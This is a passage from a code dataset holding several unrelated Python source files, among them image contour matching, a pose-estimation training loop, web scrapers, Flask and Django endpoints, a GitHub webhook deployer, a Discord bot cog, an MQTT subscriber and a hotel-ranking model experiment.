else:\n y = np.arange(min(end_line[1], start_line[1]), max(end_line[1], start_line[1]), dy)\n if m != 0:\n x = (y - c) / m\n else:\n x = 0\n if len(x) == 1 and len(y) == 1:\n x = np.append(x, end_line[0])\n y = np.append(y, end_line[1])\n f = interpolate.interp1d(x, y)\n xnew = np.arange(start_line[0], end_line[0], dx)\n ynew = f(xnew) # use interpolation function returned by `interp1d`\n # plt.plot(x, y, 'o', xnew, ynew, '-')\n # plt.show()\n\n sampling_point = []\n for x, y in zip(xnew, ynew):\n if Point(x, y).within(Polygon(raw_data_draw[\"area\"][0])):\n sampling_point.append((x, y))\n lines[(start_line, end_line)] = sampling_point\n\n # find over contour\n match_cnt = []\n for cnt in contours:\n poly_cnt = [(item[0][0], item[0][1]) for item in cnt]\n poly_cnt = Polygon(poly_cnt)\n\n start_point, end_point = lp.find_start_end(cnt)\n num_error = 0\n for p in cnt:\n matching = False\n x, y = p[0][0], p[0][1]\n\n # find matching line\n for pol_idx, pol in enumerate(raw_data_draw[\"detect\"]):\n if Point(x, y).within(Polygon(pol)):\n matching = True\n if poly_cnt not in match_cnt:\n match_cnt.append(poly_cnt)\n break\n if not matching:\n num_error += 1\n if (num_error * 100) / len(cnt) > t_error:\n error_over.append((start_point, end_point))\n\n # find matching line\n for line in lines:\n not_match_cnt = [[]]\n matching_count = 0\n prev_p = None\n\n for point in lines[line]:\n matching = False\n if prev_p:\n sample_rect = lp.line2rect(prev_p, point, t_space) # todo width gui\n for poly_cnt in match_cnt:\n if poly_cnt.intersects(Polygon(sample_rect)):\n matching_count += 1\n if not_match_cnt[-1]:\n not_match_cnt.append([])\n matching = True\n break\n if not matching:\n if not not_match_cnt[-1]:\n not_match_cnt[-1].append(prev_p)\n not_match_cnt[-1].append(point)\n prev_p = point\n # not_match_cnt.append([])\n\n if matching_count < len(lines[line]):\n error_under = error_under + error_line(not_match_cnt)\n\n return error_over, error_under\n\n\ndef min_max_color(frame, x, y, range_rgb, half_px):\n \"\"\"Extract min-max RGB values\"\"\"\n base_min_rgb = range_rgb[-1][\"min\"]\n base_max_rgb = range_rgb[-1][\"max\"]\n for h in frame[y - half_px:y + half_px]:\n for w in h[x - half_px:x + half_px]:\n for i in range(3):\n if w[i] < base_min_rgb[i]:\n base_min_rgb[i] = w[i]\n for i in range(3):\n if w[i] > base_max_rgb[i]:\n base_max_rgb[i] = w[i]\n return base_min_rgb, base_max_rgb\n","sub_path":"src/extraction.py","file_name":"extraction.py","file_ext":"py","file_size_in_byte":6491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"523875653","text":"# ------------------------------------------------------------------------------\n# Copyright (c) Microsoft\n# Licensed under the MIT License.\n# Written by Bin Xiao (Bin.Xiao@microsoft.com)\n# ------------------------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n \nimport time\nimport logging\nimport os\nimport json\n\nimport numpy as np\nimport torch\n\nfrom core.evaluate import accuracy, metrics_notvisible\nfrom core.inference import get_final_preds, get_max_preds\nfrom utils.transforms import flip_back\nfrom utils.vis import save_debug_images\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef train(config, train_loader, model, criterion, optimizer, epoch,\n output_dir, tb_log_dir, writer_dict):\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n acc = AverageMeter()\n\n # switch to train mode\n model.train()\n\n end = time.time()\n for i, (input, target, target_weight, meta) in enumerate(train_loader):\n # measure data loading time\n data_time.update(time.time() - end)\n\n # compute output\n outputs = model(input)\n\n if config.USE_GPU:\n target = target.cuda(non_blocking=True)\n target_weight = target_weight.cuda(non_blocking=True)\n\n if isinstance(outputs, list):\n loss = criterion(outputs[0], target, target_weight)\n for output in outputs[1:]:\n loss += criterion(output, target, target_weight)\n else:\n output = outputs\n loss = criterion(output, target, target_weight)\n\n # loss = criterion(output, target, target_weight)\n\n # compute gradient and do update step\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # measure accuracy and record loss\n losses.update(loss.item(), input.size(0))\n\n _, avg_acc, cnt, pred = accuracy(output.detach().cpu().numpy(),\n target.detach().cpu().numpy())\n acc.update(avg_acc, cnt)\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if i % config.PRINT_FREQ == 0:\n msg = 'Epoch: [{0}][{1}/{2}]\\t' \\\n 'Time {batch_time.val:.3f}s ({batch_time.avg:.3f}s)\\t' \\\n 'Speed {speed:.1f} samples/s\\t' \\\n 'Data {data_time.val:.3f}s ({data_time.avg:.3f}s)\\t' \\\n 'Loss {loss.val:.5f} ({loss.avg:.5f})\\t' \\\n 'Accuracy {acc.val:.3f} ({acc.avg:.3f})'.format(\n epoch, i, len(train_loader), batch_time=batch_time,\n speed=input.size(0)/batch_time.val,\n data_time=data_time, loss=losses, acc=acc)\n logger.info(msg)\n\n writer = writer_dict['writer']\n global_steps = writer_dict['train_global_steps']\n writer.add_scalar('train_loss', losses.val, global_steps)\n writer.add_scalar('train_acc', acc.val, global_steps)\n writer_dict['train_global_steps'] = global_steps + 1\n\n prefix = '{}_{}'.format(os.path.join(output_dir, 'train'), i)\n save_debug_images(config, input, meta, target, pred*4, output,\n prefix)\n \n if config.LOCAL and i > 10:\n break\n\n\ndef validate(config, val_loader, val_dataset, model, criterion, output_dir,\n tb_log_dir, writer_dict=None):\n batch_time = AverageMeter()\n losses = AverageMeter()\n acc = AverageMeter()\n\n # switch to evaluate mode\n model.eval()\n\n num_samples = len(val_dataset)\n all_preds = np.zeros(\n (num_samples, config.MODEL.NUM_JOINTS, 3),\n dtype=np.float32\n )\n all_boxes = np.zeros((num_samples, 6))\n image_path = []\n filenames = []\n imgnums = []\n idx = 0\n export_annots = []\n target_weights = []\n pred_max_vals_valid = []\n with torch.no_grad():\n end = time.time()\n for i, (input, target, target_weight, meta) in enumerate(val_loader):\n # compute output\n outputs = model(input)\n if isinstance(outputs, list):\n output = outputs[-1]\n else:\n output = outputs\n \n target_weights.append(target_weight)\n\n if config.TEST.FLIP_TEST:\n # this part is ugly, because pytorch has not supported negative index\n # input_flipped = model(input[:, :, :, ::-1])\n input_flipped = np.flip(input.cpu().numpy(), 3).copy()\n input_flipped = torch.from_numpy(input_flipped)\n if config.USE_GPU:\n input_flipped = input_flipped.cuda()\n outputs_flipped = model(input_flipped)\n\n if isinstance(outputs_flipped, list):\n output_flipped = outputs_flipped[-1]\n else:\n output_flipped = outputs_flipped\n\n output_flipped = flip_back(output_flipped.cpu().numpy(),\n val_dataset.flip_pairs)\n output_flipped = torch.from_numpy(output_flipped.copy())\n if config.USE_GPU:\n output_flipped = output_flipped.cuda()\n\n\n # feature is not aligned, shift flipped heatmap for higher accuracy\n if config.TEST.SHIFT_HEATMAP:\n output_flipped[:, :, :, 1:] = \\\n output_flipped.clone()[:, :, :, 0:-1]\n\n output = (output + output_flipped) * 0.5\n\n if config.USE_GPU:\n target = target.cuda(non_blocking=True)\n target_weight = target_weight.cuda(non_blocking=True)\n\n loss = criterion(output, target, target_weight)\n\n num_images = input.size(0)\n # measure accuracy and record loss\n losses.update(loss.item(), num_images)\n _, avg_acc, cnt, pred = accuracy(output.cpu().numpy(),\n target.cpu().numpy())\n pred_maxvals = get_max_preds(output.cpu().numpy())[1]\n\n acc.update(avg_acc, cnt)\n pred_max_vals_valid.append(pred_maxvals)\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n# c = meta['center'].numpy()\n# s = meta['scale'].numpy()\n# score = meta['score'].numpy()\n\n preds, maxvals = get_final_preds(\n config, output.clone().cpu().numpy(), None, None)\n\n all_preds[idx:idx + num_images, :, 0:2] = preds[:, :, 0:2] * 4 # to go from hm size 64 to image size 256\n all_preds[idx:idx + num_images, :, 2:3] = maxvals\n # double check this all_boxes parts\n# all_boxes[idx:idx + num_images, 0:2] = c[:, 0:2]\n# all_boxes[idx:idx + num_images, 2:4] = s[:, 0:2]\n# all_boxes[idx:idx + num_images, 4] = np.prod(s*200, 1)\n# all_boxes[idx:idx + num_images, 5] = score\n image_path.extend(meta['image'])\n \n #Export annotations\n for j in range(num_images):\n annot = {\"joints_vis\": maxvals[j].squeeze().tolist(),\n \"joints\": (pred[j]*4).tolist(),\n \"image\": meta['image'][j]\n }\n export_annots.append(annot)\n\n idx += num_images\n\n if i % config.PRINT_FREQ == 0:\n msg = 'Test: [{0}/{1}]\\t' \\\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t' \\\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t' \\\n 'Accuracy {acc.val:.3f} ({acc.avg:.3f})'.format(\n i, len(val_loader), batch_time=batch_time,\n loss=losses, acc=acc)\n logger.info(msg)\n\n prefix = '{}_{}'.format(\n os.path.join(output_dir, 'val'), i\n )\n save_debug_images(config, input, meta, target, pred*4, output,\n prefix)\n \n if config.LOCAL and i>10:\n break\n\n name_values, perf_indicator = val_dataset.evaluate(\n config, all_preds, output_dir, all_boxes, image_path,\n filenames, imgnums\n )\n\n model_name = config.MODEL.NAME\n if isinstance(name_values, list):\n for name_value in name_values:\n _print_name_value_column(name_value, model_name)\n else:\n _print_name_value_column(name_values, model_name)\n \n #Compute and display accuracy, precision and recall\n target_weights = torch.cat(target_weights, dim=0).squeeze()\n gt_vis = ~target_weights.cpu().numpy().astype(bool)\n pred_max_vals_valid = np.concatenate(pred_max_vals_valid, axis=0)\n msg_notvis = metrics_notvisible(pred_max_vals_valid, gt_vis)\n logger.info(msg_notvis)\n\n if writer_dict:\n writer = writer_dict['writer']\n global_steps = writer_dict['valid_global_steps']\n writer.add_scalar(\n 'valid_loss',\n losses.avg,\n global_steps\n )\n writer.add_scalar(\n 'valid_acc',\n acc.avg,\n global_steps\n )\n if isinstance(name_values, list):\n for name_value in name_values:\n writer.add_scalars(\n 'valid',\n dict(name_value),\n global_steps\n )\n else:\n writer.add_scalars(\n 'valid',\n dict(name_values),\n global_steps\n )\n writer_dict['valid_global_steps'] = global_steps + 1\n \n with open(os.path.join(output_dir, '{}_pred_annots_{}.json'.format(config.DATASET.TEST_SET, time.strftime('%Y-%m-%d-%H-%M'))), 'w', encoding='utf-8') as f:\n json.dump(export_annots, f, ensure_ascii=False, indent=4)\n\n return perf_indicator\n\n\n# markdown format output\ndef _print_name_value(name_value, full_arch_name):\n names = name_value.keys()\n values = name_value.values()\n num_values = len(name_value)\n logger.info(\n '| Arch ' +\n ' '.join(['| {}'.format(name) for name in names]) +\n ' |'\n )\n logger.info('|---' * (num_values+1) + '|')\n\n if len(full_arch_name) > 15:\n full_arch_name = full_arch_name[:8] + '...'\n logger.info(\n '| ' + full_arch_name + ' ' +\n ' '.join(['| {:.3f}'.format(value) for value in values]) +\n ' |'\n )\n \n# markdown format output\ndef _print_name_value_column(name_value, full_arch_name):\n logger.info('| Landmark | Accuracy |')\n for name, value in name_value.items():\n logger.info('| {} | {:.3f} |'.format(name, value))\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count if self.count != 0 else 0\n","sub_path":"lib/core/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":11508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"357013165","text":"from bs4 import BeautifulSoup\nimport os\nimport sys\nimport pathlib\nimport re\n\ngood_phrases = []\nwith open('good_phrases.txt') as in_file:\n for line in in_file:\n good_phrases.append(line.strip())\n\nbad_phrases = []\nwith open('bad_phrases.txt') as in_file:\n for line in in_file:\n bad_phrases.append(line.strip())\n\nprint(good_phrases)\nprint(bad_phrases)\nif not os.path.isdir(f'../../stories/{sys.argv[1]}'):\n print('Not a valid directory')\n sys.exit()\n\nfound_list = []\nfor subdir, dirs, files in os.walk(f'../../stories/{sys.argv[1]}'):\n for file in files:\n filepath = subdir + os.sep + file\n\n if filepath.endswith('.html'):\n with open(filepath) as in_file:\n story = in_file.read().lower()\n phrase_count = sum(map(story.count, good_phrases))\n phrase_count -= sum(map(story.count, bad_phrases))\n\n if phrase_count > 0:\n found_list.append((phrase_count, filepath))\n print(phrase_count, filepath)\n\nwith open(f'found_list_{sys.argv[1]}.txt', 'w') as out_file:\n found_list.sort(key=lambda x: x[0], reverse=True)\n for found in found_list:\n out_file.write(f'{found[0]}\\t{found[1]}\\n')\n","sub_path":"search/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"102481949","text":"# coding: utf-8\n\nfrom flask import Flask, request\nfrom latynka import translit\nfrom flask.ext.cors import CORS, cross_origin\n\napp = Flask(__name__)\ncors = CORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\n\n@app.route('/translit', methods=['POST'])\n@cross_origin()\ndef translit_text():\n if request.method == 'POST':\n text = request.form.get('text')\n return translit(text)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"585194945","text":"import time\n\n\nclass NaiveStringMatcher:\n\n def __init__(self, patterns):\n self.patterns = patterns\n self.results = {}\n self.__counter = 0\n self.counts = {}\n\n def reset(self):\n \"\"\"\n This function delets results, counts and the counter.\n Only the patterns are kept - used to search the same\n patterns in another text\n \"\"\"\n self.results = {}\n self.__counter = 0\n self.counts = {}\n\n def find_match(self, line, case_insensitive=False):\n \"\"\"\n slide a window of length of the pattern over the string,\n if the windows is equal to the word then saves the index\n\n -----\n Parameters:\n - line: string, the line to be searched\n\n Returns:\n -void (saves the index where the matches begins in\n self__results, index is of type integer)\n \"\"\"\n\n if case_insensitive:\n line = line.lower()\n\n for pattern in self.patterns:\n for i in range(len(line) - len(pattern) + 1):\n window = line[i:i + len(pattern)]\n if pattern == window:\n if pattern not in self.results:\n self.results[pattern] = []\n\n if pattern not in self.counts:\n self.counts[pattern] = 0\n\n self.results[pattern].append(i + self.__counter)\n self.counts[pattern] += 1\n self.__counter += len(line)\n\n def demo(self, line):\n for pattern in self.patterns:\n for i in range(len(line) - len(pattern) + 1):\n\n e = \"\\r\"\n if i == len(line) - len(pattern):\n e = \"\\n\"\n\n window = line[i:i + len(pattern)]\n match_found = \" --> MATCH\"\n\n if window != pattern:\n afterline = \" \" * len(match_found)\n else:\n afterline = match_found\n\n print(f\"{line[0:i]}[{window}]\"\n f\"{line[i+len(pattern):]}{afterline}\", end=e)\n\n time.sleep(0.3)\n\n\nif __name__ == \"__main__\":\n text = \"I am Curiouser and Curiouser!\"\n pattern = \"Curious\"\n print(f\"Text: {text}\")\n print(f\"We want to find the indeces of this pattern: {pattern}\")\n print(\"by sliding a window over the text and to see if we can find it:\\n\")\n s = NaiveStringMatcher([pattern])\n s.find_match(text)\n s.demo(text)\n print(\"\\nand this is the result:\")\n for key in s.results:\n print(f\"{key:<10}{s.results[key]}\")\n\n print(\"\\nthe matcher also counts the absolute frequency:\")\n for key in s.results:\n print(f\"{key:<10}{s.counts[key]}\")\n","sub_path":"src/naive_matcher.py","file_name":"naive_matcher.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"474681576","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 31 16:02:41 2020\n\n@author: siyi\n\"\"\"\n\nimport networkx as nx\nimport scipy.io as scio\nfrom train_test_split_pre import get_train_test\n\ndata_lst = ['Subgraph_Data.mat']\n\ndef construct_train_graph(dataset):\n train_pos, train_neg, test_pos, test_neg = get_train_test(dataset)\n graph, train_neg_txt, test_pos_txt, test_neg_txt = [],[],[],[]\n for i in range(len(train_pos[0])):\n graph.append((train_pos[0][i],train_pos[1][i]))\n train_neg_txt.append((train_neg[0][i],train_neg[1][i]))\n \n with open(dataset[:-4]+'train_pos.txt','a') as file:\n file.write(\"{}\\n\".format(graph))\n file.close()\n with open(dataset[:-4]+'train_neg.txt','a') as file:\n file.write(\"{}\\n\".format(train_neg_txt))\n file.close()\n \n for i in range(len(test_pos[0])):\n test_pos_txt.append((test_pos[0][i],test_pos[1][i]))\n test_neg_txt.append((test_neg[0][i],test_neg[1][i]))\n \n with open(dataset[:-4]+'test_pos.txt','a') as file:\n file.write(\"{}\\n\".format(test_pos_txt))\n file.close()\n with open(dataset[:-4]+'test_neg.txt','a') as file:\n file.write(\"{}\\n\".format(test_neg_txt))\n file.close()\n \n G = nx.Graph(graph)\n adj_mat = nx.adj_matrix(G)\n filename = 'new_'+dataset\n scio.savemat(filename, {'network':adj_mat})\n return\n\nif __name__=='__main__':\n for i in range(len(data_lst)):\n construct_train_graph(data_lst[i])\n","sub_path":"huawei/trainning_data.py","file_name":"trainning_data.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"123898586","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom requests.api import get\nimport spacy\nimport time\nimport re\nimport random\n\nurl_list = []\n\n\ndef get_key(top_key):\n # 100ランク取得\n load_url = \"https://www.google.co.jp/search?hl=ja&source=hp&q=\" + \\\n top_key+\"&ie=utf-8&oe=utf-8&num=101\"\n\n # HTML取得\n html = requests.get(load_url)\n web_data = BeautifulSoup(html.content, \"html.parser\")\n list = web_data.findAll(True, {'class': 'BNeawe vvjwJb AP7Wnd'})\n\n for i in range(1):\n # 10ランク取得\n pagenum = 1\n load_url = \"https://search.yahoo.co.jp/search?p=\"+top_key + \"&ei=utf-8&b=\" + \\\n str(pagenum)\n\n # HTML取得\n html = requests.get(load_url)\n web_data = BeautifulSoup(html.content, \"html.parser\")\n list = web_data.findAll('a')\n\n # 獲得したテキストから、indexを作成\n result_title = []\n \n\n pattern = \"(.*)clear.gif(.*)\"\n # ランキング表示\n for ls in list:\n if str(ls).find('clear.gif') != -1:\n d = re.search(pattern, str(ls))\n a = d.group(2)\n a = a.replace(\"\", \"\")\n a = a.replace(\"\", \"\")\n a = a.replace(\"\"\"\"\"\"\">\", \"\")\n a = a.replace(\"/', methods=['POST'])\ndef handle_wehook(application_name=None):\n \"\"\"Root view for dispatching work\"\"\"\n if application_name not in settings.applications.keys():\n return 'Invalid Application'\n\n secret = settings.secret\n signature = request.headers.get('X-HUB-SIGNATURE')\n data = str(request.data)\n\n if not validate_signature(signature, secret, data):\n return 'Invalid Signature'\n\n command = settings.applications[application_name]\n subprocess.call(command, shell=True)\n return 'OK'\n","sub_path":"gwh/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"194717564","text":"from rest_framework.views import APIView\nfrom django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\n\ndef Home(request):\n return render(request, 'home.html')\n\n\nclass perfil(APIView):\n def get(self, request):\n pk = request.GET['pk']\n if pk == '1':\n dicio = {\n \"nome\": \"Primo Rico\",\n \"foto\": \"https://upload.wikimedia.org/wikipedia/commons/thumb/9/94/Thiago_Nigro_O_Primo_Rico.jpg/800px-Thiago_Nigro_O_Primo_Rico.jpg\",\n \"patrimonio\": \"256K\",\n \"carteira_atual\": {\n \"OIBR4\": \"55K\",\n \"TIMP3\": \"20K\",\n \"VIVO4\": \"25K\",\n },\n }\n else:\n dicio = {\n \"nome\": \"Tiago Reis\",\n \"foto\": \"https://pbs.twimg.com/profile_images/1057606810432163841/7mBqNTeD_400x400.jpg\",\n \"patrimonio\": \"156K\",\n \"carteira_atual\": {\n \"ITUB4\": \"30K\",\n \"BBDC4\": \"35K\",\n \"BBAS3\": \"35K\",\n },\n }\n return Response(data=dicio, status=status.HTTP_200_OK)\n","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"331740967","text":"import discord\nfrom discord.ext import commands\n\n\nclass Generic(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n\n # Testing command\n @commands.command(name='test')\n async def hello_world(self, ctx):\n print(f\"Message sent in {ctx.channel} from {ctx.author.id}\")\n await ctx.channel.send(f\"Hello {ctx.author}!\")\n\n\n # Get list of roles (with IDs) on guild\n @commands.command(name='GetRoleIDs',\n description=\"Returns list of roles on server with IDs.\",\n brief=\"Get all roles with IDs\",\n aliases=['roles'])\n @commands.guild_only()\n @commands.is_owner()\n async def get_roles(self, ctx):\n output = \"\"\n for role in ctx.guild.roles:\n output += f\"{role.id} {role.name}\\n\"\n await ctx.channel.send(f\"```{output}```\")\n\n\n # Get list of emojis (with IDs) on guild\n @commands.command(name='GetEmojiIDs',\n description=\"Returns list of emojis on server with IDs.\",\n brief=\"Get all emojis with IDs\",\n aliases=['emojis'])\n @commands.guild_only()\n @commands.is_owner()\n async def get_emojis(self, ctx):\n output = \"\"\n for emoji in ctx.guild.emojis:\n output += f\"{emoji.id} {emoji.name}\\n\"\n await ctx.channel.send(f\"```{output}```\")\n\n\n # Get list of channels (with IDs) on guild\n @commands.command(name='GetChannelIDs',\n description=\"Returns list of channels on server with IDs.\",\n brief=\"Get all channels with IDs\",\n aliases=['channels'])\n @commands.guild_only()\n @commands.is_owner()\n async def get_channels(self, ctx):\n output = \"\"\n for channel in ctx.guild.channels:\n output += f\"{channel.id} {channel.name}\\n\"\n await ctx.channel.send(f\"```{output}```\")\n\n\n # Do stuff when a message is deleted\n @commands.Cog.listener()\n async def on_message_delete(self, message):\n pass\n\n# add blurbs, reminders, birthday alerts","sub_path":"app/cogs/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"625752860","text":"import paho.mqtt.client as mqtt\r\nbroker=\"test.mosquitto.org\"\r\nport=1883\r\n\r\n# This is the Subscriber\r\n\r\ndef on_connect(client, userdata, flags, rc):\r\n print(\"Connected with result code \"+str(rc))\r\n client.subscribe(\"topic/coba\")\r\n\r\ndef on_message(client, userdata, msg):\r\n print(msg.payload.decode())\r\n if msg.payload.decode() == \"Hello world!\":\r\n print(\"Yes!\")\r\n client.disconnect()\r\n \r\nclient = mqtt.Client()\r\nclient.connect(broker,port,60)\r\n\r\nclient.on_connect = on_connect\r\nclient.on_message = on_message\r\n\r\nclient.loop_forever()\r\n","sub_path":"subscriber_test.py","file_name":"subscriber_test.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"359399489","text":"import pandas\nimport numpy as np\nfrom sklearn import linear_model, cross_validation, svm, tree, naive_bayes, ensemble\nimport pickle\nimport numpy\n\n\nprint(\"loading data\")\nfull_df = pandas.read_csv('decimated_training_set_10_pct.csv')\n\nnumerical_attributes = ['prop_location_score2', 'ump', 'price_diff', 'starrating_diff',\\\n'score1d2', 'random_bool', 'per_fee', 'price_usd', 'prop_review_score',\\\n'total_fee', 'prop_starrating']\nprint(\"done loading data\")\n\ndef pre_proc(DF):\n\n ##Replace all price_usd outliers with 999999, to be replaced with 3rd quartile values below\n #DF.price_usd = [DF.price_usd <= 5000]\n high_list = [i for i, e in enumerate(DF.price_usd) if e>=5001]\n low_list = [i for i, e in enumerate(DF.price_usd) if e <=10]\n DF.price_usd[high_list] = 999999\n DF.price_usd[low_list] = 999999\n\n #ppn_usd is price per night\n DF['ppn_usd'] = DF.price_usd/DF.srch_length_of_stay\n\n #ump = exp(prop_log_historical_price) - price_usd\n DF['ump'] = numpy.exp(DF.prop_log_historical_price) - DF.price_usd\n \n\n f = lambda x: x.fillna(x.mean())\n g = lambda x: x.replace(999999, x.quantile(0.75))\n h = lambda x: x.replace(0, x.quantile(0.25))\n groups = DF.groupby('prop_country_id')\n DF.prop_location_score2 = groups.prop_location_score2.transform(f)\n DF.visitor_hist_adr_usd = groups.visitor_hist_adr_usd.transform(f)\n DF.visitor_hist_starrating = groups.visitor_hist_starrating.transform(f)\n DF.prop_starrating = groups.prop_starrating.transform(f)\n DF.prop_review_score = groups.prop_review_score.transform(f)\n #for some queries the price_usd = 999999, replace these entries with 3rd quartile\n DF.price_usd = groups.price_usd.transform(g)\n #some hotels have zero star rating, ie: no rating, replace with first quartile\n DF.prop_starrating = groups.prop_starrating.transform(h)\n DF.prop_review_score = groups.prop_review_score.transform(h)\n\n\n #\n DF['price_diff'] = DF.visitor_hist_adr_usd - DF.price_usd\n DF['starrating_diff'] = DF.visitor_hist_starrating - DF.prop_starrating\n DF['per_fee'] = (DF.price_usd*DF.srch_room_count)/(DF.srch_adults_count + DF.srch_children_count)\n DF['score1d2'] = (DF.prop_location_score2 + 0.0001)/(DF.prop_location_score1 + 0.0001)\n DF['total_fee'] = DF.price_usd*DF.srch_room_count\n \n DF = DF.fillna(0)\n\n return(DF)\n \nfull_df = pre_proc(full_df)\n\nscores = []\n\ndef gen_aggregate_vals(df, attribs):\n print(\"generating aggregate values\")\n hotel_groups = df.groupby('prop_id', as_index=False)\n for attrib in numerical_attributes:\n attrib_hotel_group = hotel_groups[attrib]\n agg_result = attrib_hotel_group.agg({attrib+'_mean':np.mean, attrib+'_std':np.std, attrib+'_median':np.median})\n agg_result[attrib+'_std'] = agg_result[attrib+'_std'].fillna(0)\n agg_result = agg_result.fillna(agg_result.mean())\n df = pandas.merge(df, agg_result, on='prop_id')\n print(\"done generating aggregate values\")\n return df\n\n#agg_attribs = numerical_attributes\n\nfor attribute in numerical_attributes + [None]:\n#if True:\n\n agg_attribs = [attribute]\n \n\n df = full_df[numerical_attributes + ['booking_bool', 'click_bool', 'prop_id']]\n if attribute:\n df = gen_aggregate_vals(df, agg_attribs)\n df = df.fillna(df.mean())\n df = df.drop('prop_id', 1)\n\n model = ensemble.GradientBoostingClassifier\n #model = linear_model.SGDClassifier\n\n print(\"training clicker model\")\n clickers = df[df.click_bool == 1]\n non_clickers = df[df.click_bool == 0][:len(clickers)]\n new_frame = pandas.concat([clickers,non_clickers] )\n X = new_frame.drop(['click_bool', 'booking_bool'],1)\n y = new_frame['click_bool']\n clicking_classifier = model()\n clicking_classifier.fit(X,y)\n pickle.dump(clicking_classifier, open(\"clicking_classifier.pickle\",\"wb\"))\n\n\n\n print(\"training booking model\")\n bookers = df[df.booking_bool == 1]\n non_bookers = df[df.booking_bool == 0][:len(bookers)]\n new_frame = pandas.concat([bookers,non_bookers] )\n X = new_frame.drop(['click_bool', 'booking_bool'],1)\n y = new_frame['booking_bool']\n booking_classifier = model()\n booking_classifier.fit(X,y)\n pickle.dump(booking_classifier, open(\"booking_classifier.pickle\",\"wb\"))\n\n\n print(\"generating prediction for test set\")\n full_df = pandas.read_csv('decimated_training_set_1_pct.csv')\n full_df = pre_proc(full_df)\n test_set = full_df[numerical_attributes+['prop_id']]\n if attribute:\n test_set = gen_aggregate_vals(test_set, agg_attribs)\n test_set = test_set.fillna(test_set.mean())\n test_set = test_set.drop('prop_id', 1)\n click_predictions = clicking_classifier.predict(test_set)\n booking_predictions = booking_classifier.predict(test_set)\n\n\n ref_df = full_df.loc[:,('srch_id', 'booking_bool', 'click_bool', 'prop_id')]\n ref_df['real_score'] = (ref_df.booking_bool * 5 + ref_df.click_bool)\n ref_df['predict_booking'] = booking_predictions\n ref_df['predict_click'] = click_predictions\n ref_df['predict_score'] = ref_df.predict_booking * 5 + ref_df.predict_click\n grouped = ref_df.groupby('srch_id')\n\n print(attribute)\n print(\"generating NDCG score\")\n ndcgs = []\n prediction_file = open(\"prediction.csv\", \"w\")\n prediction_file.write(\"SearchId,PropertyId\\n\")\n for name, group in grouped:\n real_sorted = group.sort('real_score', ascending=False)\n idcg = 0\n for (i, (index,val)) in enumerate(real_sorted.iterrows(), start=1):\n idcg += (2**val.real_score-1)/np.log2(i+1)\n predict_sorted = group.sort('predict_score', ascending=False)\n dcg = 0\n for (i, (index,val)) in enumerate(predict_sorted.iterrows(), start=1):\n prediction_file.write(str(name)+\",\"+str(val.prop_id)+\"\\n\")\n dcg += (2**val.real_score-1)/np.log2(i+1)\n ndcgs.append(dcg/idcg)\n prediction_file.close()\n ndcg_mean = np.mean(ndcgs)\n print(ndcg_mean)\n print()\n scores.append((ndcg_mean, attribute))\n\nprint(scores)\n","sub_path":"assignment_2/expedia/learn/commendo_learn_v2.py","file_name":"commendo_learn_v2.py","file_ext":"py","file_size_in_byte":6027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"463736703","text":"#!/usr/bin/env python\n\nfrom distutils.core import setup, Extension\nfrom os import system, environ\nfrom os.path import abspath, dirname, exists\nfrom sys import platform\n\n\n# set path variables\nv8eval_root = abspath(dirname(__file__))\nv8_dir = v8eval_root + \"/v8\"\nuv_dir = v8eval_root + \"/uv\"\npy_dir = v8eval_root + \"/python\"\npy_v8eval_dir = py_dir + \"/v8eval\"\n\n\n# install v8 and build libv8eval.a\nsystem(v8eval_root + \"/build.sh\")\n\n\n# generate v8eval_wrap.cxx and v8eval.py\nsystem(\"cp \" + v8eval_root + \"/src/v8eval.h \" + py_v8eval_dir)\nsystem(\"cp \" + v8eval_root + \"/src/v8eval_python.h \" + py_v8eval_dir)\nsystem(\"swig -c++ -python -outdir \" + py_v8eval_dir + \" -o \" + py_v8eval_dir + \"/v8eval_wrap.cxx \" + py_v8eval_dir + 